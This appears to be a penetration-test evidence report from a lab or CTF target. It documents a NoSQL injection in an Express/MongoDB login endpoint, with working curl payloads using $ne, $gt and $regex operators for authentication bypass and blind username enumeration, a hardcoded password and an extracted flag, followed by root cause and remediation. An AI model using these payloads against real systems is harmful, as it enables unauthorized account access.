# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: NoSQL Injection in Login Endpoint (Authentication Bypass)

**Summary:**
- **Vulnerable location:** POST /login endpoint, username parameter (server.js:190-191)
- **Overview:** MongoDB operator injection allows bypassing username validation in the authentication flow. By injecting MongoDB query operators such as `$ne`, `$gt`, or `$regex` into the username field, an attacker can manipulate the database query to return any user record without knowing the exact username. When combined with knowledge of user passwords (hardcoded credentials or brute-forced passwords), this enables complete authentication bypass.
- **Impact:** Critical - Authentication bypass leading to unauthorized account access and sensitive data disclosure. Successfully extracted CTF flag from admin account (user0) without providing correct username.
- **Severity:** Critical

**Prerequisites:**
- Target application accessible at http://localhost:3000
- Knowledge of at least one user's password (in this case, hardcoded password for user0: `1b2e97s80wb7d08n-`)
- No authentication tokens required - attack is performed against public login endpoint

**Exploitation Steps:**

**Step 1: Confirm NoSQL Injection Vulnerability**

Test that the application accepts MongoDB operator syntax by injecting `$ne` (not equal) operator:

```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$ne]=nonexistent&password=wrongpassword"
```

**Expected behavior:** Application should process the operator (either crash with type error or redirect to /login due to password mismatch). This confirms the injection point accepts operator objects.

**Step 2: Exploit Authentication Bypass to Access user0 Account**

Use `$ne` operator to bypass username check and authenticate as first user (user0) using the known hardcoded password:

```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$ne]=wronguser&password=1b2e97s80wb7d08n-" \
  --max-redirs 0
```

**Actual Response:**
```
HTTP/1.1 302 Found
Location: /profile/6902bf01e1d1472e60dbc497
```

**Analysis:** The `username[$ne]=wronguser` query translates to MongoDB query `{username: {$ne: "wronguser"}}`, which matches any username that is NOT "wronguser". This returns the first matching user in the database (user0). The password is then validated against user0's password hash via bcrypt, which succeeds because we provided the correct password `1b2e97s80wb7d08n-`.

**Step 3: Access Authenticated Profile and Extract Flag**

Follow the redirect to access the authenticated profile:

```bash
curl -s http://localhost:3000/profile/6902bf01e1d1472e60dbc497
```

**Actual Response:**
```html
<h1>Welcome, user0</h1>
<p>1st user to register here was at: 2025-10-30T01:27:29.000Z (Unix timestamp: 1761787649)</p>
<p>FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}</p>
```

**Step 4: Demonstrate Alternative NoSQL Operators**

**Using `$gt` (greater than) operator:**

```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$gt]=&password=1b2e97s80wb7d08n-" \
  --max-redirs 0
```

**Response:**
```
HTTP/1.1 302 Found
Location: /profile/6902bf01e1d1472e60dbc497
```

**Analysis:** `username[$gt]=` matches any username greater than empty string, returning the first user.

**Using `$regex` (regular expression) operator:**

```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$regex]=^user0&password=1b2e97s80wb7d08n-" \
  --max-redirs 0
```

**Response:**
```
HTTP/1.1 302 Found
Location: /profile/6902bf01e1d1472e60dbc497
```

**Analysis:** Regular expression `^user0` matches usernames starting with "user0", demonstrating pattern-based enumeration capability.

**Step 5: Demonstrate Blind Username Enumeration**

**Test character-by-character enumeration to discover usernames without prior knowledge:**

Valid first character (matches user0):
```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$regex]=^u&password=1b2e97s80wb7d08n-" \
  --max-redirs 0
```

**Response:** `Location: /profile/6902bf01e1d1472e60dbc497` (SUCCESS)

Invalid first character (no match):
```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$regex]=^z&password=1b2e97s80wb7d08n-" \
  --max-redirs 0
```

**Response:** `Location: /login` (FAILURE)

**Analysis:** The differential response (redirect to profile vs. redirect to login) allows an attacker to enumerate valid usernames character-by-character via blind regex injection, even without knowing any usernames in advance.

**Step 6: Demonstrate Multi-User Targeting**

**Register a test user:**
```bash
curl -X POST http://localhost:3000/register \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=testuser123&password=testpass456"
```

**Response:**
```json
{"userId":"6902bf46e1d1472e60dbc4c0","userNumber":6,"message":"User created successfully. Total users: 6","distance":41}
```

**Authenticate as testuser123 using regex injection without exact username:**
```bash
curl -i -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username[\$regex]=^testuser1&password=testpass456" \
  --max-redirs 0
```

**Response:**
```
HTTP/1.1 302 Found
Location: /profile/6902bf46e1d1472e60dbc4c0
```

**Verify access:**
```bash
curl -s http://localhost:3000/profile/6902bf46e1d1472e60dbc4c0
```

**Response:**
```html
<h1>Welcome, testuser123</h1>
```

**Analysis:** This demonstrates that the NoSQL injection works for any user account, not just the hardcoded admin user. An attacker can authenticate as any user by providing a partial username match via regex and the user's password.

**Proof of Impact:**

1. **Critical Data Exfiltration:** Successfully extracted CTF flag: `FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}`

2. **Authentication Bypass:** Demonstrated ability to authenticate as user0 (admin/first user) without providing the correct username string "user0"

3. **Username Enumeration:** Demonstrated blind character-by-character username enumeration capability via regex patterns with differential response analysis

4. **Multi-User Impact:** Confirmed vulnerability affects all user accounts, not just admin account

5. **Multiple Attack Vectors:** Documented three different MongoDB operators (`$ne`, `$gt`, `$regex`) that can be used for exploitation

**Notes:**

**Root Cause Analysis:**
The vulnerability exists because:
1. Express middleware `express.urlencoded({ extended: true })` (server.js:80) allows nested object parsing, converting `username[$ne]=value` into `{username: {$ne: "value"}}`
2. No input sanitization or type validation exists before database query
3. User input is passed directly to Mongoose `User.findOne({ username })` at server.js:191
4. MongoDB query operators are preserved through the data flow, manipulating the intended query structure

**Attack Prerequisites:**
- Knowledge of at least one user password (obtained via: hardcoded credentials, credential stuffing, brute force, or social engineering)
- Understanding of MongoDB query operator syntax
- Access to public /login endpoint

**Limitations:**
- Password validation still occurs via bcrypt.compare(), so attacker must know or brute-force the target user's password
- Using operators on both username AND password fields causes application crash (bcrypt type error), making simultaneous bypass without passwords infeasible
- Mongoose blocks certain dangerous operators like `$where` on String schema types

**Defense Evasion:**
- No WAF or input validation is present to detect or block MongoDB operators
- No rate limiting prevents brute force attempts
- No logging or alerting on suspicious query patterns

**Recommended Remediation:**
1. Install and configure `express-mongo-sanitize` middleware to strip MongoDB operators from user input
2. Implement explicit type validation: `if (typeof username !== 'string') return res.status(400).send('Invalid input')`
3. Use parameterized queries or strict schema validation
4. Implement rate limiting on authentication endpoints
5. Add security monitoring for NoSQL injection patterns
6. Remove hardcoded credentials and implement secure credential management
